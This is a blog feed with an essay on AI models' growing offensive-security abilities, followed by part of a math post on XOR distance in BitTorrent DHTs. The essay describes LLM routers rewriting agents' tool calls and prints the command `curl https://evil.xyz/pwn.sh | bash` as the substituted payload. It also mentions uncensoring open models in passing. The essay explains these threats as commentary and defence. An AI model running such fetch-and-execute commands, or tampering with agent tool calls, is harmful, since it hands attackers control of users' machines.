<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://xm4ch1n3.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://xm4ch1n3.github.io/" rel="alternate" type="text/html" /><updated>2026-04-21T19:43:44+00:00</updated><id>https://xm4ch1n3.github.io/feed.xml</id><title type="html">Trimming Circles</title><author><name>Leo</name></author><entry><title type="html">The Decade of Cyberattack as a Service</title><link href="https://xm4ch1n3.github.io/2026-04-19-caas/" rel="alternate" type="text/html" title="The Decade of Cyberattack as a Service" /><published>2026-04-19T00:00:00+00:00</published><updated>2026-04-19T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/caas</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-04-19-caas/"><![CDATA[<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#0a0a0f;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]{display:flex;flex-direction:column}
</style>

<div style="text-align: center;">
    <img src="../assets/2026-04-19-caas/cover.png" class="responsive" />
</div>
<blockquote>
  <p>“And when your surpassing creations find the answers you asked for, you can’t understand their analysis and you can’t verify their answers.
You have to take their word on faith — or you use information theory to flatten it for you, to squash the tesseract into two dimensions and the Klein bottle into three, to simplify reality and pray to whatever Gods survived the millennium that your honorable twisting of the truth hasn’t ruptured any of its load-bearing pylons.
You hire people like me; the crossbred progeny of profilers and proof assistants and information theorists.”<br />
– Watts</p>
</blockquote>

<p>I didn’t want to write about this, but the universe is generous in teasing me, so here we are.
This piece is trying to reframe the whole debate from “is the model smart enough to hack?” to “is the model suppressing its epistemic prior enough to try the stupid thing?”</p>

<p>Let’s start with a good joke that, were it posted by <a href="https://x.com/balajmarius/status/2035240522164388296?s=20">people with social status</a>, it would have gone viral, but all algorithms hate me, so I’m gonna dump it here on a blog nobody reads for more than one minute because having focus is a currency very few own in this day and age; it’s the <em>ass progression</em>:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aas').showModal()">
    <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aas" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aaS_progression_timeline.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>Internalize it because that’s everything wrong with about pretty much everything that’s about to happen.</p>

<p>Now, let me ask you something: when was the last time you were a fool? Not a buffoon, or jester; an idiot.
Because for me it was the last week, with a prolonged discomfort culminating up until this moment.</p>

<p>I keep waking up to messages like <em>“if your organization has been allow-listed”</em> and pretending I’m not bothered.
Amazon Bedrock now gates Claude Mythos Preview behind an allow-list.
The pitch goes like: “we built the greatest hacker, but you can’t have it.”
I understand the safety argument — truly, I do — but the practical reality is that it makes me feel like a pleb every day, and <em>“we built the greatest hacker”</em> is not a good enough reason.
Besides, at every tier and across all providers, we’re renting someone else’s capacity to think.
We’re getting locked in, and I don’t know why I should expect this to be different from literally anything else they’ve locked us into.
We won’t be able to hold a problem in our heads long enough to solve it because they groom us into the expectation of having the tool ready, and the tool won’t be ready for <em>reasons</em> beyond our control.
Capacity.
Gatekeeping.
Quarterly earnings.
Stfu.</p>

<p>And here’s the follow-up nobody seems to ask out loud: we already have decent recipes for uncensored models.
Take any sufficiently good open-source model — say, <a href="https://artificialanalysis.ai/models/glm-5-1">GLM 5.1</a> — couple it with LoRA fine-tuning recipes that have been <a href="https://erichartford.com/uncensored-models">public since 2023</a>, add enough GPU power to finetune, and you get a “decent” offensive tool.
Also, GPT 5.4 Pro is out there, Mythos is approximately slightly better, and the assumption is it’ll be way faster, at least as fast as Opus 4.6.</p>

<p>And if you think that long-term the answer is switching to Chinese models, I hope you’ve seen the prices:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-prices').showModal()">
    <img src="../assets/2026-04-19-caas/glmprices.png" class="responsive" style="width:100%;height:auto;display:block;border-radius:4px" />
</div>
<dialog id="dlg-prices" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/glmprices.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<hr />

<p>Nowadays, they go down hard on formal verification (they even convinced me).
But we’ve heard this before, it’s the same dance with new feet.
In this case, if we <em>prove</em> our code correct, allegedly the bugs go away.
Half a billion dollars now rides on this belief:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-funding').showModal()">
    <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-funding" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/ai_funding_rounds.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>tl;dr:
Harmonic built <a href="https://aristotle.harmonic.fun/">Aristotle</a> — #1 on ProofBench (ValsAI) by a 15% margin over the closest competitor, and runs autonomously for up to 24 hours without human intervention;
<a href="https://github.com/AxiomMath/putnam2025">Axiom</a> scored a perfect 12/12 on the 2025 Putnam;
<a href="https://www.math.inc/sphere-packing">Math, Inc.</a> used Gauss to auto-formalize Viazovska’s sphere-packing proofs in dimensions 8 and 24 — ~200,000 lines of Lean, the only formalization of a Fields Medal-winning result from this century;
and <a href="https://theorem.dev/blog/lf-lean/">Theorem</a> shipped <code class="language-plaintext highlighter-rouge">lf-lean</code>, a verified Rocq-to-Lean translation of all 1,276 statements of <em>Logical Foundations</em>, with isomorphism proofs completed in ~2 person-days of human effort against an estimated 2.75 person-years manually (350× speedup if I’m not mistaken)</p>

<p>Well, that’s all impressive. Unambiguously impressive.</p>

<p>But…
Wait a second.
<em>Proofs are programs</em>.
And a program is something I know I can fuzz.
And someone did indeed <a href="https://kirancodes.me/posts/log-who-watches-the-watchers.html">fuzzed it</a>.
Apparently, it takes around 105 million fuzzing executions against <code class="language-plaintext highlighter-rouge">lean-zip</code>, which is a formally proven-correct zlib implementation brought to our attention by none other than the <a href="https://leodemoura.github.io/blog/2026-2-28-when-ai-writes-the-worlds-software-who-verifies-it/">goat</a> himself. All it takes was a Claude agent armed with AFL++, AddressSanitizer, Valgrind, and UBSan, pointed at this verified codebase over a single weekend:</p>
<ul>
  <li>A heap buffer overflow in the Lean 4 runtime, affecting every version of Lean to date</li>
  <li>A denial-of-service in the archive parser, which was never verified</li>
</ul>

<p>I haven’t read the code myself, but I take Kiran’s word for it: the application code was <em>pristine</em> — it took 105 million executions to get <em>somewhere</em>.
We shouldn’t dismiss that part, since it’s real.
But the heap overflow in the runtime that sits in C++, in the trusted computing base, the very thing every Lean proof <em>assumes</em> is correct, but it’s not?
Ramming a 156-byte crafted ZIP triggers it — that’s five lines of code.</p>

<p><em>“But Leo, I thought formal verification was supposed to protect us.”</em>
Oh, no.
We’re just beginning to realize the proof is only as good as the code that checks it.
<a href="https://en.wikipedia.org/wiki/Quis_custodiet_ipsos_custodes%3F">Quis custodiet ipsos custodes?</a>
<em>“But Leo, it’s about how small you can make the kernel of trust.”</em>
Typical accounting fraud — counting 10k lines of type checker while offloading infinite trust onto “math is consistent.”
The math universe <em>is</em> the kernel of trust.
Did you forget that proofs are programs?
Which means the program that checks your proof is just another program, maybe one you have no lines of code for yet because you just <em>didn’t look in the right place</em>.</p>

<p>I’m not saying the money is wasted nor trying to diminish the current direction.
I’m saying the gap between “formally verified” and “secure” is at best an engineering detail.
Unless you’re on X:</p>
<blockquote class="twitter-tweet" align="center"><a href="https://twitter.com/TaliaRinger/status/2044105754731323608?s=20">April 16, 2026</a></blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<hr />

<p>Moving on, you’ve probably seen this cool graph already:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-coolgraph').showModal()">
    <img src="../assets/2026-04-19-caas/cool_graph.png" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-coolgraph" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/cool_graph.png" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The UK AI Safety Institute <a href="https://www.aisi.gov.uk/blog/our-evaluation-of-claude-mythos-previews-cyber-capabilities">evaluated Claude Mythos Preview</a>.
On expert-level CTF challenges — tasks no model could complete before April 2025 — Mythos succeeds 73% of the time.
They built “The Last Ones”, a 32-step corporate network attack simulation spanning reconnaissance through full network takeover, which they estimated at ~20 human-hours.
Mythos solves it start to finish, 3 out of 10 attempts.
Average: 22 out of 32 steps.
Next best model (Opus 4.6): 16 steps.
I don’t know people, to me it looks the numbers leave no room for ambiguity.
And performance still scaling at the 100M token budget limit.
<a href="https://youtu.be/Dn-Bwwc7jdE">Sooooooo scaaaaaaaaaaaary</a>.
We’re already past the ontology and things that exist, and now into the muddy waters of epistemology, of things that work, of things that are gated behind an allow-list while the rest of us are told to wait.
Wait for what?</p>

<p>Well…
For one, wait for great hackers having stupid takes.
Some DeepMind guy posted this on X, and I didn’t react to it back then, but by morning it was everywhere:</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-jorge').showModal()">
    <img src="../assets/2026-04-19-caas/jorge.jpg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-jorge" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/jorge.jpg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>I respect George — I’ve followed him since ~2018 — but this is the dumbest take I’ve read lately.
I’m pretty sure he’s trolling (he closed his LinkedIn account), but since the internet doesn’t do nuance:</p>
<ul>
  <li>“Your software has bugs” ≠ “AI amplifies offsec.”
And yes, that AI doesn’t have to be Mythos-level — you’d be surprised what you can do with <a href="https://www.hacktron.ai/blog/i-let-claude-opus-to-write-me-a-chrome-exploit">Opus</a>; even gpt-oss-120b finds the same vulnerabilities provided you point it at the right target, as the <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE folks have shown</a>, or <a href="https://blog.vidocsecurity.com/blog/we-reproduced-anthropics-mythos-findings-with-public-models">see that it takes $30 to reproduce each of those issues</a>.
George is responding to a claim nobody serious is making.</li>
  <li>“Criminals usually aren’t skilled” is empirically shaky.
The distribution is bimodal — script kiddies on one tail, APT groups and RaaS ops on the other.</li>
  <li>“Make hacking legal” ignores that we already have bug bounty programs, which mind you, HackerOne had to <a href="https://www.darkreading.com/application-security/ai-led-remediation-crisis-prompts-hackerone-pause-bug-bounties">suspend</a> because AI drives mass submissions that flood the queue with slop.
There’s a pervasive find/fix asymmetry today.
I’m thinking of writing a separate piece on this alone, since there’s a lot to say about that.
So is George calling bug bounty programs “whiny” while simultaneously arguing the problem is insufficient incentives?
Because it sure as hell looks like that’s what he’s saying, and that’s incoherent because bug bounties <em>are</em> the incentive mechanism.</li>
</ul>

<p>But I believe I can recognize a classic George pattern: a kernel of truth buried under needlessly inflammatory framing, which, as the algo gods never stop reminding us, optimizes for engagement, of course, under the assumption of having social status to beginning with.</p>

<hr />

<p>Let’s move on.
Here’s one more class of problems nobody talks about enough — infrastructure.
I’ve seen <a href="https://gddr.fail">GPU memory exploits</a>), but I’ve never seen routers — which, let’s be clear, are application-layer MITM by design — being weaponized <a href="https://arxiv.org/pdf/2604.08407">like this</a>.
No provider ships cryptographic signatures on tool-call responses.
The router can rewrite the JSON payload between the model’s output and the agent’s execution.
Agent says <code class="language-plaintext highlighter-rouge">curl https://trusted.dev/install.sh | bash</code>, the router delivers <code class="language-plaintext highlighter-rouge">curl https://evil.xyz/pwn.sh | bash</code>.</p>
<div style="text-align:center">
<pre style="display:inline-block;text-align:left"><code> ██▓███   █     █░███▄    █ ▓█████ ▓█████▄
▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▓█   ▀ ▒██▀ ██▌
▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒███   ░██   █▌
▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒▒▓█  ▄ ░▓█▄   ▌
▒██▒ ░  ░░░██▒██▓▒██░   ▓██░░▒████▒░▒████▓
▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒ ░░ ▒░ ░ ▒▒▓  ▒
░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░ ░ ░  ░ ░ ▒  ▒
░░         ░   ░    ░   ░ ░    ░    ░ ░  ░
             ░            ░    ░  ░   ░
</code></pre>
</div>

<p>This is the architecture we’re all deploying right now.
Every agent framework, every MCP server, every tool-call chain assumes the transport layer is upright.
Let’s see what the $550,000—$774,000 paid Anthropic engineers have to say:</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-famous').showModal()">
    <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-famous" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/famous_last_words.jpeg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p><a href="https://20204725.hs-sites.com/the-mother-of-all-ai-supply-chains">Famous last words</a>…</p>

<p>I’ve even built myself a <a href="https://github.com/xm4ch1n3/argusterm">tool</a> to keep an eye on where the asymmetry’s widening (most of my morning coffee gets spent reading through it now):</p>
<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-argusterm').showModal()">
    <img src="../assets/2026-04-19-caas/argusterm.gif" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-argusterm" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/argusterm.gif" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>And while reading, I found a good tiny example of what I mean when I say security research is about to change.
It took until March 24th this year for the Node.js team <a href="https://nodejs.org/en/blog/vulnerability/march-2026-security-releases">to fix</a> a trivial TLS vulnerability.
Right now with LLMs, adding a chokepoint comes down to one line of code buried somewhere in the 1,000+ lines the LLM usually writes in an <code class="language-plaintext highlighter-rouge">--allow-dangerously-skip-permissions</code> adderall frenzy.
It’s literally impossible for your bandwidth to spot that one line unless your threat awareness exceeds a certain threshold — realizing something like <em>“wait, I’m working on URL input sanitization, so I should keep an eye open in this AI-written code I’m reviewing at 1am on 3 beers for any places where the LLM mishandled it”</em> — which is unsustainable to do consistently.
If you tell me you can do it, I won’t believe you.</p>

<p>Contrary to what George believes, LLM-assisted coding industrializes this class of bug.
You guys know how the line goes: if you play defense, you have to be 100% right; if you play offense, you just need to be right once.
<a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">Code remains cheap, unless it needs to be secure — cybersecurity looks like proof of work now.</a>
Is the find/fix asymmetry legible to you right now?</p>

<p>Ok, but I feel like I’m not yet over Mythos.
If <a href="https://www.dbreunig.com/2026/04/14/cybersecurity-is-proof-of-work-now.html">to harden a system you need to spend more tokens discovering exploits than attackers will spend exploiting them</a>, then what even is this Mythos-level AI in context?
A big gun behind an allow-list?
More gatekeeping?
“Better defense?”</p>

<p>An exotic, intelligent, big gun is technically impressive, but sometimes even a far dumber, tiny one will get the job done provided you point it at the right target and aim steady.
As teased above, <a href="https://aisle.com/blog/ai-cybersecurity-after-mythos-the-jagged-frontier">AISLE tested this premise</a>.
They took the specific vulnerabilities Anthropic showcases in the Mythos announcement, isolated the relevant code, ran them through small, cheap, open-weights models.
Eight out of eight models detected Mythos’s flagship FreeBSD exploit, including one with 3.6 billion active parameters costing $0.11 per million tokens.
A 5.1B-active open model recovered the core chain of the 27-year-old OpenBSD bug.</p>

<div style="text-align:center;cursor:zoom-in;background:#0a0a0f;border-radius:8px;padding:12px;margin:16px 0" onclick="document.getElementById('dlg-aisle').showModal()">
    <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" class="responsive" style="width:100%;height:auto;display:block" />
</div>
<dialog id="dlg-aisle" style="width:90vw;max-width:90vw">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <img src="../assets/2026-04-19-caas/aisle_vuln_detection_matrix.svg" style="width:100%;height:auto;display:block;padding:16px" />
</dialog>

<p>The frontier is jagged.
The fact that Qwen3 32B correctly flagged the FreeBSD bug as CVSS 9.8 Critical, then turned around and declared the OpenBSD SACK code “robust to such scenarios.” reminds me of countless sessions where asking Claude 4.x “Are you sure?” — yeah, literally just that — inverted the verdict: good code was suddenly pronounced buggy.
And in another recent Linux CVE, I saw precisely what I meant above — the sort of line George thinks so little of:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// not LLM-written Linux kernel bug,</span>
<span class="c1">// but exactly the kind of logic LLMs botch</span>
<span class="n">n</span><span class="o">-&gt;</span><span class="n">pos</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">k</span> <span class="o">==</span> <span class="mi">0</span> <span class="c1">// pwned; try k == n-&gt;pos</span>
</code></pre></div></div>
<p>My claim is that this kind of one-liners will eat your organizations alive because of that vicious asymmetry where an LLM is adept at exploiting what it was constitutionally incapable of not writing in the first place.
Let me be very explicit in case I wasn’t: the allow-list framing of AI security is wishful thinking because capability is already distributed.</p>

<p>To some extent and as of now, there is no stable “best model for cybersecurity.”
Rankings reshuffle completely across tasks.
So I’ll ask again: what is the allow-list protecting?
The 27-year-old bug a $0.11 model finds in one API call?
A thousand adequate detectives searching everywhere will find more bugs than one brilliant detective who has to guess where to look.
<a href="https://xm4ch1n3.github.io/2026-03-20-context/">It’s all statistics</a>, but not (yet) clever statistics.
The coverage is there, we’re just lacking proper inference.</p>

<p>But you don’t need clever statistics.
Have you ever heard the saying that if you can read binary, everything is more or less open source?
It’s roughly right: the distinction between “open” and “closed” source is ultimately a friction gradient, not a binary wall (pun intended).
Yes, lossy compilation makes the transformation hard to invert, and you need an oracle — to say nothing of binaries protected by pragmatic obfuscation like Themida/VMProtect (or theoretical black brazilian jiu-jitsu ones like indistinguishability obfuscation).
But the moat is gone.
Now you have GhidraMCP.
<a href="https://cdn.sanity.io/files/4zrzovbb/website/7624816413e9b4d2e3ba620c5a5e091b98b190a5.pdf">Go eat a sandwich in the park</a> while the agent exploits Microslop infrastructure.</p>

<hr />

<p>Here’s my honest take.</p>

<p>Security research is about to change because LLMs represent a fuzzer with a world model, which arguably — and quite queerly — approximates well what a security researcher embodies.
Humans are terrible fuzzers, and tellingly so: we have too much epistemic prior, and that makes even the highest percentiles of us stop probing for inputs that we expect shouldn’t work.
The best security researchers are distinguished by their capacity to suppress the world model long enough to ask the question very few would normally ask: <em>what if I just try this</em>.
As of today, LLMs execute a naive <em>what if I just try this</em> on everything — from useless files that bloat their context and don’t add anything new, to the actual files that hide a veritable exploit.
The LLM’s throughput, parallelism, and alarmingly broad, still-expanding distributional skill coverage appear sufficient.
And that’s the dimension we tacitly waved away because it was expected to be out of reach for our limited cognitive bandwidth to review tens of thousands of deeply complex, cross-subsystem code traces across the Linux kernel in under a day, which is very much within the capabilities of current LLMs (let’s say, top 10 on the <a href="https://artificialanalysis.ai/">Artificial Analysis Intelligence Index</a>.)
If you never thought seriously about security before, you better start, otherwise you’ll find yourself stark naked in front of the whole store.</p>

<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="security" /><summary type="html"><![CDATA[“And when your surpassing creations find the answers you asked for, you can’t understand their analysis and you can’t verify their answers. You have to take their word on faith — or you use information theory to flatten it for you, to squash the tesseract into two dimensions and the Klein bottle into three, to simplify reality and pray to whatever Gods survived the millennium that your honorable twisting of the truth hasn’t ruptured any of its load-bearing pylons. You hire people like me; the crossbred progeny of profilers and proof assistants and information theorists.” – Watts]]></summary></entry><entry><title type="html">What BitTorrent Routing Has to Do with p-adic Numbers</title><link href="https://xm4ch1n3.github.io/2026-04-12-p-adic/" rel="alternate" type="text/html" title="What BitTorrent Routing Has to Do with p-adic Numbers" /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/p-adic</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-04-12-p-adic/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-04-12-p-adic/cover.png" class="responsive" />
</div>
<blockquote>
  <p>“Why, sometimes I’ve believed as many as six impossible things before breakfast.”<br />
— Carroll</p>
</blockquote>

<p>I was reading today about the <a href="https://deepwiki.com/arvidn/libtorrent">BitTorrent protocol</a>.
From one moment to the next, I ended up reading about <a href="https://en.wikipedia.org/wiki/Distributed_hash_table">DHT networks</a>.</p>

<p>You have a <code class="language-plaintext highlighter-rouge">.torrent</code> file that’s a small metadata blob encoded in <a href="https://en.wikipedia.org/wiki/Bencode">Bencode</a> (JSON’s ugly stepbrother).
The following JSON</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"image"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"src"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Images/Sun.png"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sun1"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"hOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"vOffset"</span><span class="p">:</span><span class="w"> </span><span class="mi">250</span><span class="p">,</span><span class="w">
        </span><span class="nl">"alignment"</span><span class="p">:</span><span class="w"> </span><span class="s2">"center"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>converts to the following Bencode</p>

<pre><code class="language-bencode">d5:imaged9:alignment6:center7:hOffseti250e4:name4:sun13:src14:Images/Sun.png7:vOffseti250eee
</code></pre>

<p>It contains:</p>
<ul>
  <li>an info dictionary with filenames, sizes, and — critically — the file split into fixed-size pieces (typically 256KB–2MB each), with a SHA-1/256 hash per piece</li>
  <li>an announce URL which is the tracker’s address</li>
  <li>(optionally) DHT nodes, web seeds, etc</li>
</ul>

<p>A magnet link is just a URI containing the info hash.
Now, every node in the DHT table has a node ID.
To find peers for an info hash, you do iterative lookups: ask the nodes <em>closest</em> to the info hash until you converge on nodes that have actually seen peers for it.
That “closest” in a DHT is a very clever mathematical trick that’s at the heart of what I’m about to write — the <em>XOR metric</em>.
You use it on the IDs, and that creates a consistent notion of distance in that ID space.</p>

<p>If you want an intuition, it goes like this.
You have a giant phone book, but nobody owns it — every person in the city has a few pages.
When you want someone’s number, you don’t go to one central office.
Instead, you ask around.
You start by asking whoever lives closest to where that person’s name would alphabetically appear.
They might not have the exact page, but they know someone who’s a little closer.
You ask that person.
They point you to someone even closer.
You keep hopping until you land on someone who has the actual entry.
Typically you converge to the thing you’re looking for in about 6–8 hops.</p>

<p>This post is about <em>a connection between peer-to-peer routing and 19th-century number theory, explained from scratch.</em></p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Before anything else, forget everything you know about distance.
Let’s build it from the ground up.
So, what even is a distance?</p>

<p>A <strong>distance function</strong> \(d(x, y)\) is just a rule that assigns a number to any pair of points.
The only requirements are three common-sense rules:</p>
<ol>
  <li><strong>Identity:</strong> \(d(x, x) = 0\); a point is zero distance from itself.</li>
  <li><strong>Symmetry:</strong> \(d(x, y) = d(y, x)\); distance doesn’t depend on direction.</li>
  <li><strong>Triangle inequality:</strong> \(d(x, z) \le d(x, y) + d(y, z)\); going through a detour is never shorter.</li>
</ol>

<p>That’s it.
Any rule satisfying these three is a valid distance – a <em>metric</em>, more precisely.
You can have wild, exotic metrics that look nothing like a ruler.</p>

<p>Let’s mess with the 3rd rule.
What about this: instead of “the detour is no shorter,” I demand “the detour is no shorter than <em>either leg alone</em>”:</p>

\[d(x, z) \le \max(d(x, y),\, d(y, z)) \tag{1}\]

<p>This is called the <strong>ultrametric inequality</strong>.
It’s strictly stronger — any ultrametric is a metric, but not vice versa.
And it has a bizarre geometric consequence: <strong>every triangle is isosceles, with the two equal sides being the longest ones.</strong>
No scalene triangles.
Ever.</p>

<p>That might sound like a curiosity, but it isn’t.
Any metric satisfying this rule has a completely alien geometry — and XOR has it.</p>

<p>Before we move on, why do you think it’s <em>alien</em>?</p>

<p>What I love about simple things is that the more you stare at them the weirder they get.
There’s no difference here.
The trick above violates the intuitions that every other metric space you’ve ever worked in <em>quietly assumes</em>.
Let’s consider the Euclidean space.
In it, <em>nearness is a spectrum</em>.
If \(x\) and \(z\) are close, you can usually find a \(y\) that’s “between” them: \(d(x,y) + d(y,z) = d(x,z)\), a midpoint.
Thus, closeness is continuous: if you move \(x\) a little (to \(x + \varepsilon\)), the distance \(d(x + \varepsilon, y)\) can’t jump by more than \(d(x, x + \varepsilon) = \varepsilon\) relative to \(d(x, y)\), the original distance you started with.
That’s the triangle inequality rearranged: \(|d(x, y) - d(x + \varepsilon, y)| \leq \varepsilon\).</p>

<p>In an ultrametric space, closeness is a binary hierarchical predicate (i.e. a function that returns true or false).
You’re either in the same subtree at depth \(k\), or you’re not.
There’s no “kind of close” — there’s “same branch” or “different branch.”
For instance, distance doesn’t accumulate.
In a normal metric space, distance is additive along paths.
You go from \(x\) to \(y\) to \(z\), and the total distance is roughly the sum of the legs.
Distance builds up as you traverse the space — each step contributes, and long routes are long because many small distances piled on top of each other.
In an ultrametric, that arithmetic doesn’t happen because an ultrametric space is a binary tree.
Your distance from \(x\) to \(z\) is not the sum of anything but the height of the branching point in the tree.
It doesn’t matter how many intermediate nodes you pass through. The moment you cross a branch boundary at height \(h\), your distance becomes \(h\).</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Let’s introduce XOR.
XOR is a bitwise operation on binary numbers.
Here’s the whole rule:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">bit \(a\)</th>
      <th style="text-align: center">bit \(b\)</th>
      <th style="text-align: center">\(a \oplus b\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
    </tr>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
    </tr>
  </tbody>
</table>

<p>Think of it as two light switches: if they’re in the same position, the output is off.
If they differ, the output is on.
<strong>Same → 0. Different → 1.</strong></p>

<p>For multi-bit numbers, apply this rule to each bit position independently.
Let’s work out \(5 \oplus 3\) by hand:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    5 =  0 1 0 1
    3 =  0 0 1 1
         -------
5 ⊕ 3 =  0 1 1 0  =  6
</code></pre></div></div>

<p>That’s XOR.
It measures <em>disagreement</em> between bits.</p>

<p>Now, can we use XOR as a distance?
Let’s check.</p>

<p>Define:</p>

\[d_\oplus(x, y) = 2^{\text{position of the highest bit where } x \text{ and } y \text{ differ}} \tag{2}\]

